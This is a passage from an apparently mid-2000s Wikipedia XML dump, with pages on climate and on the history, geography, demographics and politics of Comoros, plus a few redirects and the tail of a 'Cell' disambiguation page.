* Cells refereting to [[prison]] and [[police]] stations. 
* A room used by a [[monk]] or other member of a [[monastic]] order.

====Arts====
* A [[cell (music)|cell]] is a [[rhythm]]ic, [[melodic]], [[Motive (music)|motivic]], or [[interval (music)|intervallic]] group, [[set]], or [[figure (music)]].
* ''[[The Cell]]'', a [[film]]
*''[[Cell (novel)|Cell: A Novel]]'' by [[Stephen King]]
* [[Cell (Dragon Ball)|Cell]] - a [[fictional character]] in the [[Japan]]ese [[manga]] ([[comic book]]) ''[[Dragon Ball]]'' and the [[anime]] ([[cartoon]]) ''[[Dragon Ball Z]]''
* spelled '''[[Cel]]''' - the transparent sheets used for drawings in hand-drawn [[Traditional animation|animated cartoons]]
* [[Cell (band)]], a [[rock music|rock]] band.

====Military and politics====
*A [[covert cell]] is a small, secret group organized to resist penetration by an opposing organization

{{disambig}}
[[da:Celle]]
[[de:Zelle]]
[[eo:Ĉelo]]
[[es:célula]]
[[fr:cellule]]
[[nl:Cel]]
[[no:Celle (andre betydninger)]]
[[pl:komórka]]
[[sk:Bunka]]
[[sr:&amp;#1035;&amp;#1077;&amp;#1083;&amp;#1080;&amp;#1112;&amp;#1077;]]
[[sv:cell]]</text>
    </revision>
  </page>
  <page>
    <title>Commutivity</title>
    <id>5996</id>
    <revision>
      <id>15904162</id>
      <timestamp>2004-09-04T02:56:39Z</timestamp>
      <contributor>
        <username>Niteowlneils</username>
        <id>46219</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Commutative operation]]</comment>
      <text xml:space="preserve">#REDIRECT [[Commutative operation]]</text>
    </revision>
  </page>
  <page>
    <title>Classical Education</title>
    <id>5997</id>
    <revision>
      <id>15904163</id>
      <timestamp>2003-05-27T20:51:45Z</timestamp>
      <contributor>
        <username>Michael Hardy</username>
        <id>4626</id>
      </contributor>
      <comment>It was not written with capitals in the article, so it is not a proper noun and should not be capitalized in the title.  Hence this redirect.</comment>
      <text xml:space="preserve">#REDIRECT[[classical education]]</text>
    </revision>
  </page>
  <page>
    <title>Climate</title>
    <id>5999</id>
    <revision>
      <id>41893503</id>
      <timestamp>2006-03-02T12:31:06Z</timestamp>
      <contributor>
        <username>Vsmith</username>
        <id>84417</id>
      </contributor>
      <comment>rv deeper - missed vandalism</comment>
      <text xml:space="preserve">[[Image:Thermal Equator.jpg|thumb|300px|Map of the climates of the Earth{{ifdc|February_27}}]] 

The '''climate''' (ancient [[Greek language|Greek]]: ''&amp;#954;&amp;#955;&amp;#943;&amp;#956;&amp;#945;'') is the [[weather]] averaged over a long period of time. The [[Intergovernmental Panel on Climate Change]] (IPCC) glossary definition is:

: ''Climate in a narrow sense is usually defined as the &amp;ldquo;average weather&amp;rdquo;, or more rigorously, as the statistical description in terms of the mean and variability of relevant quantities over a period of time ranging from months to thousands or millions of years. The classical period is 30 years, as defined by the World Meteorological Organization (WMO). These quantities are most often surface variables such as temperature, precipitation, and wind. Climate in a wider sense is the state, including a statistical description, of the climate system.''[http://www.grida.no/climate/ipcc_tar/wg1/518.htm]

==Climate versus weather==
In the most succinct words, weather is the combination of events in the atmosphere and climate is the overall accumulated weather in a certain location.

The exact boundaries of what is climate and what is [[weather]] are not well defined and depend on the application. For example, in some senses an individual [[El Niño]] event could be considered climate; in others, as weather.

When the original conception of climate as a long-term average came to be considered, perhaps towards the end of the 19th century, the idea of [[climate change]] was not current, and a 30 year average seemed reasonable (but see [[Climate#Notes|note 1]]). Given the current availability of long-term trends in the [[temperature]] record, it is harder to give a precise noncontradictory definition of climate: over a 30 year period, averages may shift; over a shorter period, the statistics are less stable.

==Climate determinants==
In a given geographical region, the climate generally does not vary over time on the scale of a human life span. However, over [[geological time]], climate can vary considerably for a given place on the Earth. For example, [[Scandinavia]] has been through a number of [[ice age]]s over hundreds of thousands of years (the last one ending about 10,000 years ago). [[Paleoclimatology]] is the study of these past climates, their origin, and by extension, the origin of today's climate.

Over [[history|historic]] time spans there are a number of static variables that determine climate including: altitude, proportion of land to water, and proximity to oceans and mountains.  Other climate determinants are more dynamic: The [[thermohaline circulation]] of the ocean distributes heat energy between the equatorial and polar regions; other [[ocean currents]] do the same between land and water on a more regional scale.  Degree of vegetation coverage affects solar heat absorption, water retention, and rainfall on a regional level.  Alterations in the quantity of atmospheric [[greenhouse gas]]es determines the amount of solar energy retained by the planet, leading to [[global warming]] or [[global cooling]].  The variables which determine climate are numerous and the interactions complex but there is general agreement that the broad outlines are understood, at least in so far as the determinates of historical climate change are concerned.

==Climate indices==
Scientists use climate indices in their attempt to characterize and understand the various climate mechanisms that culminate in our daily weather. Much in the way the Dow Jones Industrial Average, which is based on the stock prices of 30 companies, is used to represent the fluctuations in the stock market as a whole, climate indices are used to represent the essential elements of climate. Climate indices are generally identified or devised with the twin objectives of simplicity and completeness, and each typically represents the status and timing of the climate factor they represent. By their very nature, indices are simple, and combine many details into an generalized, overall description of the atmosphere or ocean which can be used to characterize the factors which impact the global climate system. Because the climate indices are generally determined from measurements made in a localized area, they can have impacts in other areas around the globe, through processes sometimes called teleconnections.

References:

*[http://www.arctic.noaa.gov/essay_bond.html Why and how do scientists study climate change in the Arctic? What are the Arctic climate indices?]
*[http://www.arctic.noaa.gov/climate.html Climate index and mode information]

==Classifications==
In the original sense, '''climate''' is a concept used to divide the world into regions sharing similar climatic parameters. Climate regions can be classified on the basis of temperature and [[precipitation (meteorology)|precipitation]] alone. Examples of such climate schemes are the [[Köppen climate classification]] or the [[Thornthwaite climate classification]] schemes.

For more details about specific climates, see:
* [[Tropical climate]]
* [[Subtropical climate]]
* [[Desert climate|Arid climate]]
* [[steppe|Semiarid climate]]
* [[Mediterranean climate]]
* [[Temperate climate]]
* [[Oceanic climate]]
* [[Continental climate]]
* [[Alpine climate]]
* [[Subarctic climate]]
* [[Polar climate]]
* [[Climate of Antarctica]]

For the climate of a specific place or area, see the article on that place or area.

==See also==
* [[Climate change]]
* [[Solar variation]]
* [[Temperature extreme]]
* [[Climateprediction.net]] - a [[distributed computing]] project  (using, amongst others, [[BOINC]]) to try and produce a [[forecast]] of the climate in the 21st century [http://climateapps2.oucs.ox.ac.uk/cpdnboinc/ Website]
* [[Biome]] - an [[ecology|ecological]] term for a major regional group of distinctive plant and animal communities best adapted to the region's physical environment

==Historical climates==
*[[Climate changes of 535-536]]
*[[Medieval climate optimum]]

==National climates==
*[[Climate of the Alps]]
*[[Climate of India]]
*[[Climate of the United Kingdom]]

==External links==

* [http://climateapps2.oucs.ox.ac.uk/cpdnboinc/ Climate Prediction Project]
* [http://www.worldclimate.com WorldClimate]
* [http://www.atmosphere.mpg.de/enid/1442 ESPERE Climate Encyclopaedia]
* [http://www.weatherbase.com Weatherbase]
* [http://www.climate-zone.com Global Climate Data]
* [http://www.limaperunet.com/climate/climateall.html The Climate of Peru]
* [http://www.arctic.noaa.gov/climate.html Climate index and mode information]
* [http://www.arctic.noaa.gov/essay_bond.html Why and how do scientists study climate change in the Arctic? What are the Arctic climate indices?]
* [http://www.arctic.noaa.gov/detect/ A near-realtime Arctic Change Indicator Website]
* [http://www.beringclimate.noaa.gov/ A current view of the Bering Sea Ecosystem and Climate]

==See also==

* [[How directness of sunlight causes warmer weather]]

== Notes ==

# In &quot;Climatology&quot; by W G Kendrew (OUP; 3rd edition 1949; chapter 38; page 359) we find: &quot;A well-known cycle is one with a mean period of about 35 years... which was worked out by Bruckner... the reality of this cycle seems to be well established, though it is of little use for actual forecasting; it is a basis of the choice of 35 years as the period estimated to give true mean values of climate elements.&quot;

[[Category:Climate| ]]
[[Category:Climatology]]
[[Category:Ecology]]

[[af:Klimaat]]
[[bg:Климат]]
[[bn:জলবায়ু]]
[[ca:Clima]]
[[cs:Podnebí]]
[[da:Klima]]
[[de:Klima]]
[[et:Kliima]]
[[es:Clima]]
[[eo:Klimato]]
[[fr:Climat]]
[[gl:Clima]]
[[ko:기후]]
[[hr:Klima]]
[[it:Clima]]
[[he:אקלים]]
[[hu:Éghajlat]]
[[nl:Klimaat]]
[[ja:気候]]
[[no:Klima]]
[[nn:Klima]]
[[oc:Climat]]
[[pl:Klimat]]
[[pt:Clima]]
[[ru:Климат]]
[[simple:Climate]]
[[sk:Podnebie]]
[[sl:Podnebje]]
[[sr:Клима]]
[[fi:Ilmasto]]
[[sv:Klimat]]
[[uk:Клімат]]
[[zh:氣候]]</text>
    </revision>
  </page>
  <page>
    <title>History of Comoros</title>
    <id>6000</id>
    <revision>
      <id>41747163</id>
      <timestamp>2006-03-01T13:20:05Z</timestamp>
      <contributor>
        <username>Nick Levine</username>
        <id>608324</id>
      </contributor>
      <minor />
      <comment>rv vandal</comment>
      <text xml:space="preserve">{{TOCright}}
==Early inhabitants==

Over the centuries, the [[island]]s of [[Comoros]] were invaded by a succession of diverse groups from the coast of [[Africa]], the [[Persian Gulf]], [[Indonesia]], and [[Madagascar]]. Portuguese explorers visited the archipelago in 1505. &quot;[[Shirazi]]&quot; Arab migrants introduced [[Islam]] at about the same time.

==Colonial Rule==

Between [[1841]] and [[1912]], [[France]] established [[colonialism|colonial]] rule over [[Grande Comore]], [[Anjouan]], [[Mayotte]], and [[Mohéli]] and placed the islands under the administration of the governor general of Madagascar.

Until the opening of the [[Suez Canal]], the islands used to be an important refueling and provisioning stop for ships from [[Europe]] to the [[Indian Ocean]].

Later, [[France|French]] settlers, French-owned companies, and wealthy Arab merchants established a plantation-based economy that now uses about one-third of the land for export crops. After [[World War II]], the islands became a French overseas territory and were represented in France's National Assembly. Internal political autonomy was granted in [[1961]]. Agreement was reached with France in [[1973]] for Comoros to become independent in [[1978]]. On [[July 6]], [[1975]], however, the Comorian parliament passed a resolution declaring unilateral independence. The deputies of [[Mayotte]] abstained.

In two referendums, in December 1974 and February 1976, the population of Mayotte voted against independence from France (by 63.8% and 99.4% respectively). Mayotte thus remains under French administration, and the Comorian Government has effective control over only Grande Comore, Anjouan, and Mohéli.

==Coups d'état==
Unstable Comoros has endured 19 coups or attempted coups since gaining independence from France in 1975. Probably many of these coups were orchestrated by France which still maintained substantial interests in the area (especially on Mayotte), although it is hard to find definite proof. [[Bob Denard]] overthrew the government four times.

The second time was in 1978, when president [[Ali Soilih]], who had a firm anti-French attitude, was killed and [[Ahmed Abdallah]] came to power. Under the reign of Abdallah, Denard was commander of the Presidential Guard (PG) and de facto ruler of the country, trained, supported and funded by the white regimes in [[South Africa]] (SA) and [[Rhodesia]] (now Zimbabwe) in return to the permission to set up a secret listening station on the islands. South-African agents had to keep an ear on the important [[ANC]] bases in [[Lusaka]] and [[Dar es Salaam]] and to watch the war in Mozambique, in which SA played an active role. The Comoros were also used for evading arms sanctions. 

When in 1981 [[François Mitterrand]] was elected president Denard lost the support of the French intelligence service, but he managed to strengthen the link between SA and the Comoros. Besides the Guard, Denard established his own company SOGECOM, in both the security and building business. He seemed to be pretty rich. In period 1985-87 the relationship of the PG with the local Comorians became worse. 

At the end of the 1980s the South Africans did not want to continue to support a mercenary regime and France also wanted to get rid of the mercenaries. Finally, also President Abdallah wanted the mercenaries to leave. Their response was a (third) coup and the death of President Abdallah in which Denard and his men were probably involved. The SA and the French government subsequentially forced Denard and his mercenaries  to leave the islands in 1989. [[Said Mohamed Djohar]] became president. His time in office was turbulent, including an impeachment attempt in 1991 and a coup attempt in 1992.

On [[September 28]], [[1995]] Bob Denard and a group of mercenaries took over the Comoros islands in a coup (named operation Kaskari by the mercanaries) against President Djohar. France immediately severely denounced the coup, and backed by the [[1978]] defense agreement with the Comoros, President [[Jacques Chirac]] ordered his special forces to retake the island. Bob Denard began to take measures to stop the coming invasion. A new presidential guard was created. Strong points armed with heavy machine guns were set up around the island, particularly around the islands two airports. 

On [[October 3]], [[1995]], 11 PM, the French deployed 600 men against a force of 33 mercenaries and a 300 man dissident force. Denard however ordered his mercenaries not to fight. Within 7 hours the airports at Iconi and Hahaya and the French Embassy in Moroni are secured. By 3:00 pm the next day Bob Denard and his Mercenaries had surrendered. This operation, codename ''Azalée'', was remarkable, because there were no casualties, and just in seven days, plans were drawn up and soldiers were deployed. Denard was taken to France and jailed. Prime minister [[Caambi El-Yachourtu]] became acting president until Djohar returned from exile in January 1996. In March of 1996, following presidential elections, [[Mohamed Taki Abdoulkarim]], a member of the civilian government that Denard had tried to set up in October 1995, became president.

==Secession of Anjouan and Mohéli==

In [[1997]], the islands of [[Anjouan]] and [[Mohéli]] declared their independence from Comoros. A subsequent attempt by the government to reestablish control over the rebellious islands by force failed, and presently the [[African Union]] is brokering negotiations to effect a reconciliation. This process is largely complete, at least in theory. According to some sources, Mohéli did return to government control in 1998. In 1999, Anjouan started to fall apart internally, on August 1 of that year, the 80-year-old first president [[Foundi Abdallah Ibrahim]] resigned, and gave power to a national coordinator, [[Said Abeid]]. The government was overthrown in a coup by army and navy officers on August 9, 2001. [[Mohamed Bacar]] soon rose to leadership of the junta that took over and by the end of the month he was the leader of the country. Despite two coup attempts in the following three months, including one by Abeid, Charif's government stayed in power, and was apparently more willing to negotiate with Comoros. Presidential elections have been held on Comoros, and presidents have been chosen for all three islands as well, which are now in a confederation. Grand Comore had experienced troubles of its own in the late 1990s, as President Taki died on November 6, 1998. Colonel [[Azali Assoumani]] became president following a military coup in 1999. There have been several coup attempts since, but he is now in firm control of the country after winning a presidential election.

== External links ==
* [http://www.specwarnet.com/miscinfo/azalee.htm More on the 1995 Azalee Operation]

{{Africa in topic|History of}}

[[Category:History of Comoros| ]]

[[de:Geschichte der Komoren]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Comoros</title>
    <id>6001</id>
    <revision>
      <id>34544735</id>
      <timestamp>2006-01-09T23:19:36Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{Africa in topic|Geography of}}</comment>
      <text xml:space="preserve">&lt;div style=&quot;float:right;margin:0 0 1em 1em;&quot;&gt;[[image:Cn-map.png|Map of all islands]]&lt;br&gt;

[[image:Comoros_in_relation_to_Afrika_map.jpg|Map of Comoros and Southern Africa]]&lt;br&gt;

&lt;!-- Image with unknown copyright status removed: [[image:Grande Comore (Comoros) map.jpg|Map of Grande Comore]] --&gt;&lt;br&gt;

[[Image:Anjouan_(Comoros)_map.jpg|Map of Anjouan]]

[[Image:Moheli_(Comoros)_map.jpg|Map of Moheli]]

&lt;/div&gt;

The '''[[Comoros archipelago]]''' consists of four main islands aligned along a northwest-southeast axis at the north end of the [[Mozambique Channel]], between [[Mozambique]] and the island of [[Madagascar]]. Still widely known by their French names, the islands officially have been called by their [[Swahili]] names by the Comorian government. They are [[Njazidja]] ([[Grande Comore]]), [[Mwali]] ([[Mohéli]]), [[Nzwani]] ([[Anjouan]]), and [[Mahoré]] ([[Mayotte]]). The islands' distance from each other--Njazidja is some 200 kilometers from Mahoré, forty kilometers from Mwali, and eighty kilometers from Nzwani--along with a lack of good harbor facilities, make transportation and communication difficult. The islands have a total land area of 2,236 square kilometers (including Mahoré), and claim territorial waters of 320 kilometers. Le [[Karthala]] (2316 m) on Grand Comore is an active volcano.  From April 17 to 19, 2005, the volcano began spewing ash and gas, forcing as many as 10,000 people to flee.

'''[[Geographic coordinates]]:'''
{{coor dm|12|10|S|44|15|E|type:country}}

==Njazidja==
Njazidja is the largest island, sixty-seven kilometers long and twenty-seven kilometers wide, with a total area of 1,146 square kilometers. The most recently formed of the four islands in the archipelago, it is also of volcanic origin. Two volcanoes form the island's most prominent topographic features: La Grille in the north, with an elevation of 1,000 meters, is extinct and largely eroded; Kartala in the south, rising to a height of 2,361 meters, last erupted in 1977. A plateau averaging 600 to 700 meters high connects the two mountains. Because Njazidja is geologically a relatively new island, its soil is thin and rocky and cannot hold water. As a result, water from the island's heavy rainfall must be stored in catchment tanks. There are no coral reefs along the coast, and the island lacks a good harbor for ships. One of the largest remnants of Comoros' once-extensive rain forests is on the slopes of Kartala. The national capital has been at Moroni since 1962.

==Nzwani==
Nzwani, triangular shaped and forty kilometers from apex to base, has an area of 424 square kilometers. Three mountain chains--Sima, Nioumakele, and Jimilime--emanate from a central peak, Mtingui (1,575 meters), giving the island its distinctive shape. Older than Njazidja, Nzwani has deeper soil cover, but overcultivation has caused serious erosion. A coral reef lies close to shore; the island's capital of Mutsamudu is also its main port.

==Mwali==
Mwali is thirty kilometers long and twelve kilometers wide, with an area of 290 square kilometers. It is the smallest of the four islands and has a central mountain chain reaching 860 meters at its highest. Like Njazidja, it retains stands of rain forest. Mwali's capital is Fomboni.

==Mahoré==
Mahoré, geologically the oldest of the four islands, is thirty-nine kilometers long and twenty-two kilometers wide, totaling 375 square kilometers, and its highest points are between 500 and 600 meters above sea level. Because of greater weathering of the volcanic rock, the soil is relatively rich in some areas. A well-developed coral reef that encircles much of the island ensures protection for ships and a habitat for fish. Dzaoudzi, capital of Comoros until 1962 and now Mahoré's administrative center, is situated on a rocky outcropping off the east shore of the main island. Dzaoudzi is linked by a causeway to le Pamanzi, which at ten kilometers in area is the largest of several islets adjacent to Mahoré. Islets are also scattered in the coastal waters of Njazidja, Nzwani, and Mwali.

==Flora and Fauna==
Comorian waters are the habitat of the [[coelacanth]], a rare fish with limblike fins and a cartilaginous skeleton, the fossil remains of which date as far back as 400 million years and which was once thought to have become extinct about 70 million years ago.  A live specimen was caught in 1938 off southern Africa; other coelacanths have since been found in the vicinity of the Comoro Islands.

Several mammals are unique to the islands themselves.  The macao, a lemur found only on Mahoré, is protected by French law and by local tradition.  Another, Livingstone's fruit bat, although plentiful when discovered by explorer David Livingstone in 1863, has been reduced to a population of about 120, entirely on Nzwani.  The world's largest bat, the jet-black Livingstone fruit bat has a wingspan of nearly two meters.  A British preservation group sent an expedition to Comoros in 1992 to bring some of the bats to Britain to establish a breeding population.  Humboldt's flycatcher is perhaps the best known of the birds native to Comoros.

Partly in response to international pressures, Comorians in the 1990s have become more concerned about the environment.  Steps are being taken not only to preserve the rare fauna, but also to counteract degradation of the environment, especially on densely populated Nzwani.  Specifically, to minimize the cutting down of trees for fuel, kerosene is being subsidized, and efforts are being made to replace the loss of the forest cover caused by ylang-ylang distillation for perfume.  The Community Development Support Fund, sponsored by the International Development Association (IDA, a World Bank affiliate) and the Comorian government, is working to improve water supply on the islands as well.

==Climate==
The climate is marine tropical, with two seasons: hot and humid from November to April, the result of the northeastern monsoon, and a cooler, drier season the rest of the year. Average monthly temperatures range from 23° C to 28° C along the coasts. Although the average annual precipitation is 2,000 millimeters, water is a scarce commodity in many parts of Comoros. Mwali and Mahoré possess streams and other natural sources of water, but Njazidja and Nzwani, whose mountainous landscapes retain water poorly, are almost devoid of naturally occurring running water. Cyclones, occurring during the hot and wet season, can cause extensive damage, especially in coastal areas. On the average, at least twice each decade houses, farms, and harbor facilities are devastated by these great storms. 


==Area and boundaries==
'''Area:'''
&lt;br&gt;''total:''
2,170 km&amp;sup2;
&lt;br&gt;''land:''
2,170 km&amp;sup2;
&lt;br&gt;''water:''
0 km&amp;sup2;

'''Area - comparative:'''
slightly more than 12 times the size of [[Washington, DC]]

'''Land boundaries:'''
0 km

'''Coastline:'''
340 km

'''Maritime claims:'''
&lt;br&gt;''exclusive economic zone:''
200 nm
&lt;br&gt;''territorial sea:''
12 nm

'''Elevation extremes:'''
&lt;br&gt;''lowest point:''
Indian Ocean 0 m
&lt;br&gt;''highest point:''
Le Kartala 2,360 m

==Resources and land use==
'''Natural resources:'''
NEGL

'''Land use:'''
&lt;br&gt;''arable land:''
35%
&lt;br&gt;''permanent crops:''
10%
&lt;br&gt;''permanent pastures:''
7%
&lt;br&gt;''forests and woodland:''
18%
&lt;br&gt;''other:''
30% (1993 est.)

'''Irrigated land:'''
NA km&amp;sup2;

==Environmental concerns==
'''Natural hazards:'''
cyclones possible during rainy season (December to April); Le Kartala on Grand Comore is an active volcano

'''Environment - current issues:'''
soil degradation and erosion results from crop cultivation on slopes without proper terracing; deforestation

'''Environment - international agreements:'''
&lt;br&gt;''party to:''
Biodiversity, Climate Change, Desertification, Endangered Species, Hazardous Wastes, Law of the Sea, Ozone Layer Protection, Wetlands
&lt;br&gt;''signed, but not ratified:''
none of the selected agreements

==Sources==
*[http://lcweb2.loc.gov/frd/cs/cshome.html Library of Congress, Country Studies]

{{Africa in topic|Geography of}}

[[Category:Geography of Comoros| ]]
[[Category:Geography by country|Comoros]]

[[es:Geografía de Comoras]]
[[pt:Geografia das Comores]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Comoros</title>
    <id>6002</id>
    <revision>
      <id>42060122</id>
      <timestamp>2006-03-03T15:03:04Z</timestamp>
      <contributor>
        <username>BrownHairedGirl</username>
        <id>754619</id>
      </contributor>
      <comment>dab Catholic</comment>
      <text xml:space="preserve">[[Image:Comoros-demography.png|thumb|300px|right|Demographics of Comoros, Data of [[Food and Agriculture Organization|FAO]], year 2005 ; Number of inhabitants in thousands.]]
The [[Comoros|Comorians]] inhabiting [[Grande Comore]], [[Anjouan]], and [[Moheli]] (86% of the population) share African-Arab origins. [[Islam]] (See [[Islam in Comoros]]) is the dominant religion, and [[Koran|Koranic]] schools for children reinforce its influence.  Although Arab culture is firmly established throughout the archipelago, a substantial minority of the citizens of [[Mayotte]] (the Mahorais) are [[Roman Catholic]] and have been strongly influenced by French culture.

The most common language is [[Shikomor]], a [[Swahili]] dialect.  French and Arabic also are spoken. About 57% of the population is literate. 

==Demographic data from the CIA World Factbook==

===Population===
:671,247 (July 2005 est.)

===Age structure===
:0-14 years: 42.8% (male 144,075/female 143,175)
:15-64 years: 54.2% (male 179,541/female 184,488)
:65 years and over: 3% (male 9,407/female 10,561) (2005 est.)

===Median age===
:Total: 18.61 years
:Male: 18.35 years
:Female: 18.87 years (2005 est.)

===Population growth rate===
:2.91% (2005 est.)

===Birth rate===
:37.52 births/1,000 population (2005 est.)

===Death rate===
:8.4 deaths/1,000 population (2005 est.)

===Net migration rate===
:0 migrant(s)/1,000 population (2005 est.)

===Sex ratio===
:At birth: 1.03 male(s)/female
:Under 15 years: 1.01 male(s)/female
:15-64 years: 0.97 male(s)/female
:65 years and over: 0.89 male(s)/female
:Total population: 0.99 male(s)/female (2005 est.)

===Infant mortality rate===
:Total: 74.93 deaths/1,000 live births
:Male: 83.48 deaths/1,000 live births
:Female: 66.13 deaths/1,000 live births (2005 est.)

===Life expectancy at birth===
:Total population: 61.96 years
:Male: 59.65 years
:Female: 64.33 years (2005 est.)

===Total fertility rate===
:5.09 children born/woman (2005 est.)

===HIV/AIDS===
:Adult prevalence rate: 0.12% (2001 est.)
:People living with HIV/AIDS: NA
:Deaths: NA

===Nationality===
:Noun: Comorian(s)
:Adjective: Comorian

===Ethnic groups===
:Antalote, Cafre, Makoa, Oimatsaha, Sakalava

===Religions===
:Sunni Muslim 98%, Roman Catholic 2%

===Languages===
:Arabic (official), French (official), [[Comorian language|Shikomor]] (a blend of Swahili and Arabic)

===Literacy===
:Definition: age 15 and over can read and write
:Total population: 56.5%
:Male: 63.6%
:Female: 49.3% (2003 est.)

==References==
{{CIA WFB 2005}}

{{Africa in topic|Demographics of}}

[[Category:Comoros]]
[[Category:Demographics by country|Comoros]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Comoros</title>
    <id>6003</id>
    <revision>
      <id>39374516</id>
      <timestamp>2006-02-12T19:20:37Z</timestamp>
      <contributor>
        <ip>83.121.2.141</ip>
      </contributor>
      <comment>disambiguation from [[FAO]] to [[Food and Agriculture Organization]] by the [[User:DabMachine|DabMachine]]</comment>
      <text xml:space="preserve">{{Politics of Comoros}}
The Union of the Comoros, known as the Islamic Federal Republic of the Comoros until [[2003]], is ruled by Colonel [[Azali Assoumani]]. The political situation in [[Comoros]] has been extremely fluid since the country's independence in 1975, subject to the volatility of coups and political insurrection. Colonel Azali seized power in a bloodless coup in April 1999, overthrowing Interim President [[Tadjidine Ben Said Massounde]], who himself had held the office since the death of democratically elected President [[Mohamed Taki Abdoulkarim]] in November, 1998. 

In May 1999, Azali decreed a constitution that gave him both executive and legislative powers. Bowing somewhat to international criticism, Azali appointed a civilian Prime Minister, [[Bainrifi Tarmidi]], in December 1999; however, Azali retained the mantle of Head of State and army Commander. In December 2000, Azali named a new civilian Prime Minister, [[Hamada Madi]], and formed a new civilian Cabinet. When Azali took power he also pledged to step down in April 2000 and relinquish control to a democratically elected president, a pledge which he has yet to fulfill.

In a separate nod to pressure to restore civilian rule, the government organized several committees to compose a new constitution, including the August 2000 National Congress and November 2000 Tripartite Commission. The opposition parties initially refused to participate in the Tripartite Commission, but on [[17 February]], representatives of the government, the Anjouan separatists, the political opposition, and civil society organizations signed a &quot;Framework Accord for Reconciliation in Comoros,&quot; brokered by the [[Organization for African Unity]] (OAU). 

The accord called for the creation of a new [[Tripartite Commission for National Reconciliation]] to develop a &quot;New Comorian Entity&quot; with a new constitution. The new federal Constitution came into effect in [[2002]] and [[Comoros Presidential elections, 2002|presidential elections]] were held, at which Azali Assoumani was elected President. In April [[2004]] [[Comoros legislative election, 2004|legislative elections]] were held, completing the implementation of the new constitution. 

The new Union of the Comoros consists of three islands, Grande Comore, Anjouan and Mohéli. Each island has a president, who shares the presidency of the Union on a rotating basis. The president and his vice-presidents are elected for a term of four years.  The constitution states that, &quot;the islands enjoy financial autonomy, freely draw up and manage their budgets&quot;.

President Assoumani Azali of Grande Comore is the first Union president. President Mohamed Bacar of Anjouan formed his 13-member government at the end of April, 2003.

[[Comoros legislative election, 2004|Elections were held in 2004]] where federal president Azali suffered a major setback by only winning 6 of the 18 seats in the National assembly, the other going to the supporters of the presidents of the semi-autonomous islands.

''See also:-''
*[[List of Presidents of Comoros]]
*[[Heads of Government of the Comoros]]

'''Country name:'''
&lt;br&gt;''conventional long form:''
Union of the Comoros
&lt;br&gt;''conventional short form:''
Comoros
&lt;br&gt;''local long form:''
Union des Comores
&lt;br&gt;''local short form:''
Comores

'''Data code:'''
CN

'''Government type:'''
independent [[republic]]

'''[[Capital]]:'''
[[Moroni, Comoros|Moroni]]

'''Administrative divisions:'''
three islands; Grande Comore (Ngazidja), Anjouan (Nzwani), and Moheli (Mwali)
&lt;br&gt;''note 1:''
there are also four municipalities named Domoni, Fomboni, Moroni, and Moutsamoudou
&lt;br&gt;''note 2:'' The native name of Grande Comore is Ngazidja, but is widely quoted as Njazidja, an erroneous form perpetuated by the CIA Factbook.

'''[[Independence]]:'''
[[6 July]] [[1975]] (from France)

'''National holiday:'''
Independence Day, [[6 July]] (1975)

'''[[Constitution]]:'''
[[20 October]] [[1996]]

'''[[Legal system]]:'''
French and Muslim law in a new consolidated code

'''[[Suffrage]]:'''
18 years of age; universal

'''[[Executive branch]]:'''
&lt;br&gt;''chief of state:''
President AZALI Assoumani (since [[6 May]] [[1999]])
&lt;br&gt;''head of government:''
Prime Minister Bianrifi TARMIDI (since [[2 December]] [[1999]])
&lt;br&gt;''cabinet:''
Council of Ministers appointed by the president
&lt;br&gt;''elections:''
president elected by popular vote for a five-year term; election last held 6 and [[16 March]] [[1996]] (next to be held NA); prime minister appointed by the president
&lt;br&gt;''note:''
President AZALI claimed a one-year term at the time of the coup; elections, in theory, should be held in the spring of 2000 but are likely to be dependent on the island of Anjouan remaining part of the federation
&lt;br&gt;''election results:''
results of the last presidential election before the coup were: Mohamed TAKI Abdulkarim elected president; percent of vote - 64.3%

'''Legislative branch:'''
bicameral legislature consists of the Senate (15 seats: five from each island; members selected by regional councils for six-year terms) and a Federal Assembly or Assemblee Federale (43 seats; members elected by popular vote to serve five-year terms); note - the Federal Assembly was dissolved following the coup of [[30 April]] [[1999]]
&lt;br&gt;''elections:''
Federal Assembly - last held 18 and [[25 april]] [[2004]] (next to be held NA)
&lt;br&gt;''election results:''
Federal Assembly - percent of vote by party - NA; 

'''[[Judicial branch]]:'''
Supreme Court or Cour Supremes, two members appointed by the president, two members elected by the Federal Assembly, one by the Council of each island, and former presidents of the republic

'''[[Political parties]] and leaders:'''
Forces pour l'Action Republicaine or FAR [Col. Abdourazak ABDULHAMID]; Forum pour la Redressement National or FRN (alliance of 12 parties); Front Democratique or FD [Moustoifa Said CHEIKH]; Front National pour la Justice or FNJ (Islamic party in opposition) [Ahmed RACHID]; Movement des Citoyens pour la Republique or MCR [Mahamoud MRADABI]; Mouvement Populaire Anjouanais or MPA (Anjouan separatist movement) [leader NA]; Mouvement pour la Democratie et le Progress or MDP-NGDC [Abbas DJOUSSOUF]; Movement pour le Socialisme et la Democratie or MSD (splinter group of FD) [Abdou SOEFOU]; Parti Comorien pour la Democratie et le Progress or PCDP [Ali MROUDJAE]; Rassemblement National pour le Development or RND (party of the government) [Omar TAMOU, Abdoulhamid AFFRAITANE] 

'''International organization participation:'''
[[ACCT]], [[ACP countries|ACP]], [[AfDB]], [[AFM]], [[African Union]], [[Food and Agriculture Organization|FAO]], [[G-77]], [[IBRD]], [[ICAO]], [[ICCt]] (signatory), [[International Red Cross and Red Crescent Movement|ICRM]], [[International Development Association|IDA]], [[IDB]], [[IFAD]], [[IFC]], [[IFRCS]], [[International Labour Organization|ILO]], [[IMF]], [[InOC]], [[Interpol]], [[IOC]], [[International Telecommunication Union|ITU]], [[LAS]], [[NAM]], [[Organization of the Islamic Conference|OIC]], [[OPCW]] (signatory), [[UN]], [[UNCTAD]], [[UNESCO]], [[UNIDO]], [[UPU]], [[World Customs Organization|WCO]], [[World Health Organization|WHO]], [[WMO]]

'''Flag description:'''
four equal horizontal bands of yellow (top), white, red, and blue with a green isosceles triangle based on the hoist; centered within the triangle is a white crescent with the convex side facing the hoist and four white, five-pointed stars placed vertically in a line between the points of the crescent; the horizontal bands and the four stars represent the four main islands of the archipelago - Mwali, Njazidja, Nzwani, and Mayotte (a territorial collectivity of France, but claimed by Comoros); the crescent, stars, and color green are traditional symbols of Islam 

:''See also :'' [[Comoros]]

{{Africa_in_topic|Politics of}}
[[Category:Comoros]]</text>
